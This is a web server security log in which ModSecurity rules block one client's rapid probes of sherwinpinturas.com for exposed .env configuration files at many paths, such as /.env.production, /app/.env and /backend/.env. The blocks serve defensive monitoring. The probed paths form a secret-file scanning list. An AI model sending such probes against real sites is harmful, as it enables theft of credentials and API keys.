[Sun Oct 25 14:01:40.540659 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBPwFw76qlSfceadvXAAAAAA"]
[Sun Oct 25 14:01:40.540792 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBPwFw76qlSfceadvXAAAAAA"]
[Sun Oct 25 14:01:40.541055 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5EBPwFw76qlSfceadvXAAAAAA"]
[Sun Oct 25 14:01:40.553562 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBKYYcNPV1bnoekNX1QAAAAQ"]
[Sun Oct 25 14:01:40.553913 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBKYYcNPV1bnoekNX1QAAAAQ"]
[Sun Oct 25 14:01:40.554156 2026] [security2:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5EBKYYcNPV1bnoekNX1QAAAAQ"]
[Sun Oct 25 14:01:40.617551 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5EBO6EytsuoC67cD91bgAAAAE"]
[Sun Oct 25 14:01:40.617740 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5EBO6EytsuoC67cD91bgAAAAE"]
[Sun Oct 25 14:01:40.617999 2026] [security2:error] [pid 2874494:tid 2874494] [client 35.229.22.35:40484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5EBO6EytsuoC67cD91bgAAAAE"]
[Sun Oct 25 14:01:40.619312 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJgAAACA"]
[Sun Oct 25 14:01:40.619492 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJgAAACA"]
[Sun Oct 25 14:01:40.619735 2026] [security2:error] [pid 2873159:tid 2873159] [client 35.229.22.35:40506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5EBP1CbQghwAu-zzMCJgAAACA"]
[Sun Oct 25 14:01:40.620702 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5EBCjnAS4eJh-ada2NAAAAAA0"]
[Sun Oct 25 14:01:40.620863 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5EBCjnAS4eJh-ada2NAAAAAA0"]
[Sun Oct 25 14:01:40.621088 2026] [security2:error] [pid 2867834:tid 2867834] [client 35.229.22.35:40520] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5EBCjnAS4eJh-ada2NAAAAAA0"]
[Sun Oct 25 14:01:40.621891 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5EBA99Fkrvw6SgmfSwwwAAAAM"]
[Sun Oct 25 14:01:40.622092 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5EBA99Fkrvw6SgmfSwwwAAAAM"]
[Sun Oct 25 14:01:40.622088 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5EBPwFw76qlSfceadvXQAAAAA"]
[Sun Oct 25 14:01:40.622240 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5EBPwFw76qlSfceadvXQAAAAA"]
[Sun Oct 25 14:01:40.622410 2026] [security2:error] [pid 2875748:tid 2875748] [client 35.229.22.35:40548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5EBA99Fkrvw6SgmfSwwwAAAAM"]
[Sun Oct 25 14:01:40.622469 2026] [security2:error] [pid 2870916:tid 2870916] [client 35.229.22.35:40466] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5EBPwFw76qlSfceadvXQAAAAA"]
[Sun Oct 25 14:01:40.623437 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5EBIIGIq5euXyTbvT1GgAAACQ"]
[Sun Oct 25 14:01:40.623501 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5EBBfmy5DaFfyE01WrBwAAABE"]
[Sun Oct 25 14:01:40.623593 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5EBIIGIq5euXyTbvT1GgAAACQ"]
[Sun Oct 25 14:01:40.623639 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5EBBfmy5DaFfyE01WrBwAAABE"]
[Sun Oct 25 14:01:40.623845 2026] [security2:error] [pid 2867879:tid 2867879] [client 35.229.22.35:40474] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5EBIIGIq5euXyTbvT1GgAAACQ"]
[Sun Oct 25 14:01:40.623909 2026] [security2:error] [pid 2873136:tid 2873136] [client 35.229.22.35:40494] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5EBBfmy5DaFfyE01WrBwAAABE"]
[Sun Oct 25 14:01:40.624858 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5EBBOIqc1eRNCRH2co6AAAAAc"]
[Sun Oct 25 14:01:40.625047 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5EBBOIqc1eRNCRH2co6AAAAAc"]
[Sun Oct 25 14:01:40.625298 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5EBBOIqc1eRNCRH2co6AAAAAc"]
[Sun Oct 25 14:01:40.626358 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5EBFY5e6yJWIYGXiqDygAAAAk"]
[Sun Oct 25 14:01:40.626650 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5EBFY5e6yJWIYGXiqDygAAAAk"]
[Sun Oct 25 14:01:40.626976 2026] [security2:error] [pid 2862773:tid 2862773] [client 35.229.22.35:40508] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5EBFY5e6yJWIYGXiqDygAAAAk"]
[Sun Oct 25 14:01:40.628630 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5EBLc82c1J4zoyxalWhAAAAAI"]
[Sun Oct 25 14:01:40.628832 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5EBLc82c1J4zoyxalWhAAAAAI"]
[Sun Oct 25 14:01:40.629184 2026] [security2:error] [pid 2873042:tid 2873042] [client 35.229.22.35:40574] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5EBLc82c1J4zoyxalWhAAAAAI"]
[Sun Oct 25 14:01:40.631858 2026] [authz_core:error] [pid 2874705:tid 2874705] [client 35.229.22.35:40496] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:01:40.650406 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5EBBOIqc1eRNCRH2co6QAAAAc"]
[Sun Oct 25 14:01:40.650593 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5EBBOIqc1eRNCRH2co6QAAAAc"]
[Sun Oct 25 14:01:40.650886 2026] [security2:error] [pid 2873114:tid 2873114] [client 35.229.22.35:40524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5EBBOIqc1eRNCRH2co6QAAAAc"]
